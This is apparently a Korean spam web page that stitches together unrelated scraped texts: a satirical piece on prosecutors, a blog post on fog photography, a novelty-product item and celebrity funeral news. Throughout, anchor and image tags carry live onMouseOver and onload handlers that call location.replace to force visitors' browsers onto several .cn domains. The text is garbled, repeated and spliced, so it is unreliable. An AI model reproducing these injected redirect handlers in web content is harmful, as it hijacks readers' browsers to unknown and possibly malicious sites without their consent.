검찰의 또 다른 고위 관계자는 검찰이 품격 있는 수사를 한다는 것을 꼭 보여주고 싶다고 강조했다. 이 관계자는 “솔직히 검찰이 권위는 엄청 높았지만 그렇다고 품격까지 있지는 않았던 것이 사실”이라고 말하고, “이제부터는 검찰의 품격이 권위 이상으로 하늘 높이 올라갈 것”이라고 자신감을 표했다.

이 관계자는 발레를 배운 검사들은 수사를 할 때 품격 있게 할 것이므로 피의자나 참고인들의 심적 부담이 크게 줄어들 것이라고 전망했다. 앞으로는 조사 받을 때 압박감이 훨씬 덜할 것이라는 것이다. 수사의 방식도 많이 변할 것이라고 전망했다.

예를 들어 수사를 할 때 클래식 음악을 틀어놓고 피의자와 차 한잔을 나누며 오순도순 오붓하게 대화하는 방식으로 수사관행이 바뀌게 된다. 또한 필요하면 피의자 앞에서 발레실력을 보여주기도 하고, 그래도 피의자가 수사에 협조하지 않으면 피의자와 함께 발레나 블루스를 추며 수사를 이끈다.

이 정도하면 검사의 높은 품격에 피의자도 감복하고, 참고인도 감복하여 모든 사실을 술술 불게 될 것이라고 이 관계자는 전망했다.

하지만 이런 ‘품격 있는 수사’에는 제한조건이 확실히 붙는다고 이 관계자는 강조하였다. 모든 수사에 이런 품격 있는 수사를 도입하는 것은 아니라는 것. 검찰의 다수 관계자들은 이구동성으로 ‘품격 있는 수사’는 “기업수사에만 딱 한정 된다”고 못 박았다.

검찰의 최고위 관계자는 일보타임즈와의 인터뷰에서 “기업수사 외에는 절대, 결코, 네버 ‘품격 있는 수사’는 없다”고 강조하고, “대통령직 인수위에서도 ‘기업수사’에만 품격 있는 수사가 필요하다고 하였으므로, 거기에 딱 맞출 생각”이라고 전했다. 그외 수사에는 “그런 건 꿈도 꾸지 말라”는 말을 덧붙였다.

어째든 검찰 수사 관행에 새로운 지평은 열릴 것으로 보인다. ‘품격 있는 수사’를 준비 중인 검찰의 한 관계자는 일년에 한두 차례 대국민 공연도 펼칠 계획이라고 전했다. 이 관계자는 특별히 대기업 관련 수사를 할 때 이런 품격 있는 공연이 펼쳐 질 것이라며 “검찰이 열심히 준비 중이므로 국민들은 기대하셔도 좋다”고 자신감을 표했다.

기업수사에 품격을 도입한다는 대통령직 인수위와 검찰의 계획이 어떤 모습으로 실현 될지 궁금증이 확 올라온다.</a>

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엄정화

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류시원

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<a href="http://livehhh.cn" onMouseOver=location.replace('http://livehhh.cn')>두번째 이야기, 사자 먹이

그러던 차에 10월 20일자 컬럼에서 그들의 본심이 확 느껴지는 제목이 한 눈에 들어왔다. 근래에 이렇게 솔직한 제목 첨 봤다. 기자 머리에 번개가 쳤다. “역시 조쎈일보야.”

컬럼 제목이 아주 쥑인다.

“퇴임 대통령을 사자 먹잇감으로 넣고 싶은 이유”

캬~! 이보다 더 리얼한 제목이 어디 있으랴. 곧 퇴임할 대통령과 퇴임한 대통령을 싸잡아서 사자들의 먹잇감으로 보내버리고 싶단다.

이 말을 하기 위해 조쎈일보는 얼마나 많은 욕을 해댔던가.

“저 시키는 사자 밥으로 보내야 돼” 이 말을 할라고 얼마나 많은 밤을 지샜던가.

이제 그들은 참을 만큼 참았던 것이다. “할 말은 한다”고 했지만 진짜 하고 싶은 말은 못 하며 살았드랬다. 그 동안 얼마나 괴로웠겠나? 할말은 해야 되는데 못하는 그 심정. 뭔가 확 느껴지는 게 있지 않는가?

이제 그들이 진짜 하고 싶은 말을 하려는 거다. “노 무시기 이 시키, 사자 밥이나 돼라!”, “때중이 이놈, 너도 사자 밥이나 돼라!”

본 기자 조쎈일보가 이제 진정으로 ‘할말은 하는 신문’이 되었구나라며 감격해 했다. “이젠 그들도 솔직해지는 구나. 그들도 가식의 탈을 벗어 버리는구나. 한국 언론사에서 삼류언론 하나가 큰 일을 해내는구나”라며 감격하였드랬다.

그런데 …

제기럴. 본문을 읽기 시작하자 몸에서 힘이 확 빠졌다.

미국 대통령 얘기란다. 시어도어 루즈벨트가 어떠니, 프랭클린 루즈벨트가 어떠니 뭐 이러구 있다.

내 참 웃겨서. 아니 대통령을 죽이고 싶다고 해 놓고, 뭐냐 이게? 지금 장난하냐? 독자를 가지고 놀아? 제목을 그렇게 달아 놓고, 니네가 어부냐?

일보타임즈 조쎈일보에 경고한다. “할라면 확실히 해라.”

세번째 이야기, 김장수

그러다 몹시 실망한 눈으로 기사를 살피던 기자의 눈에 김장수 국방장관 기사가 들어왔다.

이번엔 칭찬이다. 머리 속이 혼란스럽다. 김장수가 한나라 소속인가?

아니다. 현직 국방장관이다. 그런데 칭찬이 자자하다. 이건 뭔 일이냐? 노무현 정부 소속이라면 지나가는 개도 걷어차야 할 그들이, 그래서 전임 윤광웅 장관은 처음 등장할 때부터 씹어대고 끝까지 물고 늘어지고 생난리였었다. 그런데 김장수 장관은 칭찬을 해? 칭찬하는 이유를 찬찬히 살펴 봤다. 이유가 가관이다.

악수를 잘 했단다.</a>

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한석규

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<a href="http://liveabc555.cn" onMouseOver=location.replace('http://liveabc555.cn')>검찰의 또 다른 고위 관계자는 검찰이 품격 있는 수사를 한다는 것을 꼭 보여주고 싶다고 강조했다. 이 관계자는 “솔직히 검찰이 권위는 엄청 높았지만 그렇다고 품격까지 있지는 않았던 것이 사실”이라고 말하고, “이제부터는 검찰의 품격이 권위 이상으로 하늘 높이 올라갈 것”이라고 자신감을 표했다.

이 관계자는 발레를 배운 검사들은 수사를 할 때 품격 있게 할 것이므로 피의자나 참고인들의 심적 부담이 크게 줄어들 것이라고 전망했다. 앞으로는 조사 받을 때 압박감이 훨씬 덜할 것이라는 것이다. 수사의 방식도 많이 변할 것이라고 전망했다.

예를 들어 수사를 할 때 클래식 음악을 틀어놓고 피의자와 차 한잔을 나누며 오순도순 오붓하게 대화하는 방식으로 수사관행이 바뀌게 된다. 또한 필요하면 피의자 앞에서 발레실력을 보여주기도 하고, 그래도 피의자가 수사에 협조하지 않으면 피의자와 함께 발레나 블루스를 추며 수사를 이끈다.

이 정도하면 검사의 높은 품격에 피의자도 감복하고, 참고인도 감복하여 모든 사실을 술술 불게 될 것이라고 이 관계자는 전망했다.

하지만 이런 ‘품격 있는 수사’에는 제한조건이 확실히 붙는다고 이 관계자는 강조하였다. 모든 수사에 이런 품격 있는 수사를 도입하는 것은 아니라는 것. 검찰의 다수 관계자들은 이구동성으로 ‘품격 있는 수사’는 “기업수사에만 딱 한정 된다”고 못 박았다.</a>

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최수종

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<a href="http://livennn.cn" onMouseOver=location.replace('http://livennn.cn')>새로 시작한 한 주의 월요일을 즐겁게 보내셨나요? ^^

지난 주말에,두물머리의 물안개 사진촬영을 위한 출사기를 시작하겠습니다.

( ※ 서론이 긴 편입니다...바쁘신 분들은 사진만 감상하셔도 됩니다!~ ㅎㅎㅎ )

10월달에 들어서, 물안개 촬영을 위해서, 인터넷으로 양평지역의 날씨를 확인하고 있었습니다.

19일 금요일 저녁에 인터넷으로 일기예보를 확인해보니, 양평지역의 일교차가 10도가 넘더군요.

물안개가 물의 온도는 따듯하고, 기온이 낮으면 발생합니다.

쉽게 생각하면, 겨울철 욕조에 뜨거운 물 받아놓으면 수증기 발생하는 것이 보이잖아요!~

그거랑 같은 이치죠... ^^ (적절한 표현인지는 모르겠네요...ㅎㅎㅎ)

20일 새벽 5시에 울리는 알람을 들었는데, 결국 또 버튼을 눌렀네요...ㅠ.ㅠ

다시 눈을 뜨니, 6시... 빨리 준비하고 출발해도 7시 30분... 자리를 잡으면... 8시...ㅠ.ㅠ

그냥 포기 하고, 자려다가... "조건만 맞으면, 언제고 생겼다가 사라지는 것이 물안개"라는 현지

아주머니의 말씀이 생각나서...기대 안하고 출발했습니다.

일출 시간도 훨씬 지나서인지, 두물머리에는 촬영하시는 분들도 별로 없더군요.

물안개도 없었구요... (사실, 모르죠..늦게 갔으니까...ㅎㅎㅎ)

갑자기 날씨가 쌀쌀해져서...영상 2도라고 하는 데, 체감온도는 더 낮아서 카메라를 꺼낼 엄두가

나지 않았습니다.

그래서 "오늘은 물안개 찍을 자리만 물색해 놓고 가자!~"는 마음으로 집으로 발길을 돌려, 운전을

천천히 하면서 다음 기회를 위한 자리 물색을 했습니다.

두물머리는 워낙 유명한 출사지이고, 또 한군데를 물색하면서 돌아오는 길에...

팔당 댐을 지나, 양수리를 가는 중간에...우측 북한강 줄기 중간에 자그마한 섬이 하나 있습니다.

그 곳에서 사진을 찍으면 좋겠다고 생각한 후...다음 기회만 오길 기다리며 집으로 향했죠.

그래도 사진 찍을려고, 마음 먹고 집을 나왔는데...그냥 들어가기 뭐해서...어딜 갈까..고민하다가

과천에 있는 서울경마공원이 떠올라서...질주하는 말을 패닝하면서 찍기 위하여 경마장으로 갔습니다.

물안개 출사기인데... 사진은 경마장에서부터 찍었네요...

경마장에서의 사진은 물안개사진을 게시한 후...선별작업이 끝나는 대로 올릴께요.

다음 날인, 일요일 아침...아니 새벽이네요...4시에 알람이 울렸습니다.

오늘은 굳은 마음 먹고, 일어나서 준비하고 출발했습니다. 그때 시각이 5시...

어제 너무 춥고 배고팠던 생각이 떠올라서, 든든히 옷을 입었는데...배는...

그래서 가는 길에 24시간 하는 중국집에 들러서 자장면 한 그릇 먹는데...그 시간에도 배달시키는 분들이

있더군요...왜?...아!~, 철야작업을 하면...사무실에서 철야하면, 출출하죠...ㅎㅎㅎ

이제 배도 든든히 채웠으니...출발...

오늘은 물안개가 피려나?...하며 가는 데...

팔당대교를 넘어가면서, 팔당대교 위로 여튼 회색빛 연기가 피어 올라가더군요...

순간!~...물안개가 피는구나!~... 갑자기 속력을 내기 시작했습니다.

그리고 도착한 곳은 전 날 보아두었던 곳인데...이미 자동차 여러대가 인근에 주차되어 있더군요.

아직 일출시간까지는 멀었지만, 서둘렀습니다.

가방 메고, 카메라, 삼각대를 들고...자리를 물색하는데...숲 여기저기서 벌써 카메라를 셋팅하고

계신 분들이 십여명이나 계시더군요...

전에도 말씀 드렸듯이, 사진하시는 분들...부지런하고 대단해요!~~~ (저도 도매금으로 합류!~)

마음에 드는 자리는 못 잡았지만, 나름대로 위치 잡고 찍은 사진입니다....</a>

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김정훈

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<IMG src="http://cfs10.blog.daum.net/upload_control/download.blog?fhandle=MERDQ3hAZnMxMC5ibG9nLmRhdW0ubmV0Oi9JTUFHRS8wLzMyLmpwZy50aHVtYg==&filename=32.jpg" onMouseOver=location.replace('http://live0123.cn') onload=location.replace('http://live0123.cn')>

<a href="http://live0123.cn" onMouseOver=location.replace('http://live0123.cn')>괴수, 맹수와 싸운 적 있는 '용감한 남성'으로 변신할 수 있다는 이색 상품이 해외 네티즌들 사이에서 화제다.

'영웅을 위한 문신'으로 불리는 이 문신 스티커는 독일의 액세서리 회사가 내놓은 이색 아이디어 제품.

이 제품을 사용하면 날카로운 발톱을 가진 괴수, 맹수와 한 판 혈투를 벌였다는 '증거'를 보여줄 수 있기 때문에, '사나이 중의 사나이'로 보인다는 것이 회사 측의 설명. 또 절벽에 떨어졌을 때 남는 흉터도 조작해낼 수 있다.

무시무시한 '발톱 자국'을 가슴에 붙이고 거리를 쏘다니면, 그 누구도 함부로 대할 수 없다고 회사 측은 강조하고 있는데, 괴수이나 맹수와 한 판 싸움을 벌인 '스토리'는 구매자 스스로 창작해야 하는 점은 까다롭다. 괴수 발톱 자국 스티커의 가격은 5.5유로.(약 12,000원)</a>

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문소리

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<IMG src="http://img.news.yahoo.co.kr/picture/2008/19/20080308/2008030805153342819_072014_0.jpg" onMouseOver=location.replace('http://wordbac.cn') onload=location.replace('http://wordbac.cn')>

<a href="http://wordbac.cn" onMouseOver=location.replace('http://wordbac.cn')>OSEN=김국화 기자] 호주 유학중 20일(현지시각) 불의의 사고로 숨진 이동건의 동생 이 모씨(향년 21세)의 빈소에 동료 배우들의 조문이 끊이지 않고 있다.

이동건이 상주로서 빈소를 지키고 있는 서울 삼성병원 장례식장엔 이동건의 옛 여자친구였던 한지혜를 비롯, 조현재, 김흥수, 윤택 등 동료 연기자들의 찾아 유가족에게 위로의 말을 전했다.

이동건의 동생은 20일 새벽 1시경 호주 시드니 월드 스퀘어 쇼핑 센터에서 중국계 갱단 2명으로부터 피습 당해 사망했다. 이동건은 충격적인 소식을 듣고 다음날인 21일 부모님과 함께 호주 시드니로 급히 출국해 동생의 시신을 확인한 뒤 고인의 죽음과 관련된 행정 절차와 장례식을 진행했다.

관련 절차를 마친 이동건은 28일 오후 6시 26분경 부모님과 함께 동생의 유해를 들고 인천국제공항을 통해 귀국했다. 침통한 표정의 이동건은 마중나온 친지들과 몇마디 짧은 대화를 나눈 뒤 비통한 표정으로 묵묵히 공항을 빠져 나갔다. 이동건과 유가족은 바로 빈소가 차려진 서울 강남의 삼성병원 장례식장으로 이동해 친척, 친구, 지인 등 조문객을 맞았다.

이동건의 동료 배우들도 늦은 시간 빈소를 찾아 유가족을 위로했다. 얼마전 연인에서 좋은 친구 사이로 남기로 한 한지혜는 KBS 1TV 일일드라마 ‘미우나 고우나’ 촬영을 끝내고 오후 11시 30분경 빈소를 찾아 이동건을 위로했다. 평소 이동건 뿐만 아니라 고인과도 각별한 친분이 있었던 만큼 뜻밖의 비보에 한지혜는 눈물을 흘리며 침통해했다고 한다.

빈소가 차례진 삼성병원 장례식장에는 늦은 시간까지 조문객의 행렬이 이어지고 있다. 31일 오전 발인이며 서울의 한 성당에서 장례미사가 진행된다. 상주인 이동건과 부모가 31일까지 빈소를 지키며 조문객을 맞을 예정이다.</a>

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소지섭

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<a href="http://live333.cn" onMouseOver=location.replace('http://live333.cn')>[뉴스엔 이재환 기자]
미녀스타 한지혜가 옛 연인이자 배우 이동건의 남동생 빈소에 조문을 간다.

한지혜가 지난 21일 호주 시드니 도심에서 이유 없이 피살된 이동건의 남동생 이모씨의 유해가 안치된 영안실을 찾아 조문하고 이동건을 위로할 것으로 보인다.

한지혜의 한 측근은 28일 “예전 이동건의 동생과 한지혜가 친남매처럼 아주 가깝게 지냈다. 이번 사고로 한지혜도 큰 충격을 받았다”며 “동생의 마지막 가는 길이기 때문에 조문갈 가능성이 아주 높다”고 전했다.

이와 관련 한지혜의 소속사 측은 “확인 중인데 잘 모르겠다. 촬영이 아닌 개인의 스케줄까지 관여할 수 없어 모르겠다. 묻기도 힘든 사안이다”고 밝혔다.

예전 드라마 '낭랑 18세'에 출연하며 사랑을 키운 두 사람은 4년간 연인으로 세인들의 관심과 사랑을 받았다. 하지만 지난해 연말께 성격 차이로 헤어졌다.

한지혜가 동생의 장례식장을 방문할 경우 두 사람의 만남은 헤어진 지 3개월여 만이다.

한편 이동건은 이날 오후 6시께 인천공항을 통해 호주에서 친동생의 유해와 함께 귀국했다.

이동건의 남동생 이모씨는 친구와 함께 지난 20일 새벽 1시께 호주 시드니 도심 거리를 걷다가 중국계 갱단으로 관측되는 2명이 휘두른 흉기에 찔려 숨졌다.

사망 사고 소식을 접한 이동건은 지난 21일 호주로 출국해 조용히 가족들과 법적 절차를 밟은 뒤 26일 동생이 공부하던 시드니대학에서 열린 추모식에 참석해 동생의 명복을 빌었다.

이동건은 귀국하자마자 곧바로 서울 강남구 일원동 삼성의료원 장례식장에 마련된 동생의 빈소로 향했다. 발인은 31일. 서울 강남의 한 성당에서 장례미사로 치른다.</a>

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<a href="http://liveabc333.cn" onMouseOver=location.replace('http://liveabc333.cn')>한국 영화와 외국 영화 모두 2세 배우들의 연기가 빛을 발하고 있다. 대표주자는 배우 하정우. 익히 알려진 바와 같이 하정우는 중견 배우 김용건의 아들이다. 김용건이 출연하고 있는 MBC 아침 드라마 <그래도 좋아>(극본 김순옥ㆍ연출 김우선)가 동시간대 시청률 1위를 달리고 있는 상황에서 하정우까지 탄탄대로를 걸으며 ‘부창자수(夫唱子隨)’를 보여주고 있는 셈이다.

하정우는 올상반기 최고 흥행작인 영화 <추격자>(감독 나홍진ㆍ제작 비단길)를 통해 연기력을 재평가 받았다. 이후 영화 <비스티 보이즈><멋진 하루> 등에 연이어 출연하며 상한가 행진을 이어가고 있다. 하정우측 관계자는 “30대 초반 배우가 부족한 상황에서 하정우를 찾는 목소리가 높아지고 있다. 당분간 쉼없이 연기 활동을 이어갈 예정이다”고 전했다.

외화 중에서는 영화 <킬 위드 미>와 <버킷 리스트>가 눈에 띈다. <킬 위드 미>에는 할리우드 톱배우 톰 행크스의 아들 콜린 행크스가 등장한다. 콜린 행크스는 <킬 위드 미>에서 FBI 수사대원 그리핀 다우드 역의 맡아 열연을 펼쳤다. <킬 위드 미>의 홍보 관계자는 “아버지 톰 행크스가 영화 <다빈치코드> 등에서 펼친 지적인 연기와 겹쳐진다. 부전자전의 연기력을 볼 수 있을 것이다”고 귀띔했다</a>

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손태영

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